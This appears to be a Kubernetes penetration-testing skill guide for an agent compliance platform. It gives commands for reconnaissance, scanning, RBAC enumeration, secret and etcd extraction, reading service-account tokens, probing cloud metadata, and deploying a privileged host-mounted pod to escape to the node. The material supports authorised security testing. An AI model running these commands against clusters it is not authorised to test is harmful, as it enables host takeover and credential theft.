Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

Prerequisites

• Authorized penetration testing engagement
• Kubernetes cluster access (various levels for different test scenarios)
• kube-hunter, kubescape, kube-bench installed
• kubectl configured
• Network access to cluster components

Core Concepts

Kubernetes Attack Surface

Component	Port	Attack Vectors
API Server	6443	Auth bypass, RBAC abuse, anonymous access
Kubelet	10250/10255	Unauthenticated access, command execution
etcd	2379/2380	Unauthenticated read, secret extraction
Dashboard	8443	Default credentials, token theft
NodePort Services	30000-32767	Service exposure, application exploits
CoreDNS	53	DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

Phase	Techniques
Initial Access	Exposed Dashboard, Kubeconfig theft, Application exploit
Execution	exec into container, CronJob, deploy privileged pod
Persistence	Backdoor container, mutating webhook, static pod
Privilege Escalation	Privileged container, node access, RBAC abuse
Defense Evasion	Pod name mimicry, namespace hiding, log deletion
Credential Access	Secret extraction, service account token theft
Lateral Movement	Container escape, cluster internal services

Implementation Steps

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

• SOC 2: CC6.1 (Logical Access), CC7.1 (Monitoring), CC8.1 (Change Management)
• ISO 27001: A.14.2 (Secure Development), A.12.6 (Technical Vulnerability Mgmt)
• NIST 800-53: CM-7 (Least Functionality), SI-2 (Flaw Remediation), SC-28 (Protection at Rest)
• NIST CSF: PR.IP (Information Protection), PR.DS (Data Security)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add performing-kubernetes-penetration-testing

# Or load dynamically via MCP
grc.load_skill("performing-kubernetes-penetration-testing")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

• SHA-256 chain hashing ensures no step can be modified after execution
• Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
• Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

• kube-hunter - Kubernetes Penetration Testing
• Kubescape - Kubernetes Security Platform
• kube-bench - CIS Benchmark
• MITRE ATT&CK Containers Matrix
• Kubernetes Threat Matrix - Microsoft